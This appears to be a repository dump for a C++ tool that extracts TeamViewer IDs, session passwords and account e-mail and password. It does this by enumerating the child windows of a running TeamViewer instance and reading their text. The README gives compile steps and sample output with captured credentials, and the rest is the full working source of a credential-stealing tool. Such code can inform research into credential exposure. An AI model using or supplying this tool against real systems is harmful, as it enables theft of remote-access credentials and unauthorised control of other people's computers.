├── README.md └── TeamViewerDump.cpp /README.md: -------------------------------------------------------------------------------- 1 | TeamViewer-dumper-in-CPP 2 | ====================== 3 | 4 | Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows. 5 | 6 | 7 | Compilation and requirements 8 | ====================== 9 | 10 | 1. Compile with CL 11 | 1. cl TeamViewerDump.cpp 12 | 2. or with cl TeamViewerDump.cpp /EHsc 13 | 2. Requirements 14 | 1. TeamViewer must be running 15 | 2. Tested only with English GUI of TeamViewer 16 | 17 | Sample output 18 | ====================== 19 | 20 | ``` 21 | C:\tools\Projects>TeamViewer_Dump.exe 22 | TeamViewer ID: 606 151 261 23 | TeamViewer PASS: 3239 24 | E-mail: hacked@account.com 25 | Password: FooPassword123 26 | 27 | C:\tools\Projects> 28 | ``` 29 | -------------------------------------------------------------------------------- /TeamViewerDump.cpp: -------------------------------------------------------------------------------- 1 | #define WIN32_LEAN_AND_MEAN 2 | #include 3 | #include 4 | #pragma comment( lib, "kernel32" ) 5 | #pragma comment( lib, "user32" ) 6 | 7 | int status = 0; 8 | 9 | BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam) 10 | { 11 | const int BufferSize = 1024; 12 | char BufferContent[BufferSize] = ""; 13 | SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); 14 | 15 | if (status == 1) 16 | { 17 | printf("%s\n", BufferContent); 18 | status = 0; 19 | } 20 | 21 | if (strstr(BufferContent, "Allow Remote Control") != NULL) 22 | { 23 | status = 1; 24 | printf("TeamViewer ID: "); 25 | } 26 | 27 | if (strstr(BufferContent, "Please tell your partner") != NULL) 28 | { 29 | status = 1; 30 | printf("TeamViewer PASS: "); 31 | } 32 | 33 | return 1; 34 | } 35 | 36 | BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam) 37 | { 38 | const int BufferSize = 1024; 39 | char BufferContent[BufferSize] = ""; 40 | SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent); 41 | 42 | if (status == 1) 43 | { 44 | printf("%s\n", BufferContent); 45 | status = 0; 46 | } 47 | 48 | if (strstr(BufferContent, "E-mail") != NULL) 49 | { 50 | status = 1; 51 | printf("E-mail: "); 52 | } 53 | 54 | if (strstr(BufferContent, "Password") != NULL) 55 | { 56 | status = 1; 57 | printf("Password: "); 58 | } 59 | 60 | return 1; 61 | } 62 | 63 | 64 | int main() 65 | { 66 | HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer"); 67 | 68 | if (hwndTeamViewer) 69 | { 70 | EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0); 71 | } 72 | 73 | 74 | HWND hwndAccount = FindWindow(NULL, "Computers & Contacts"); 75 | 76 | if (hwndAccount) 77 | { 78 | EnumChildWindows(hwndAccount, EnumAccountWindow, 0); 79 | } 80 | 81 | 82 | return 0; 83 | } 84 | --------------------------------------------------------------------------------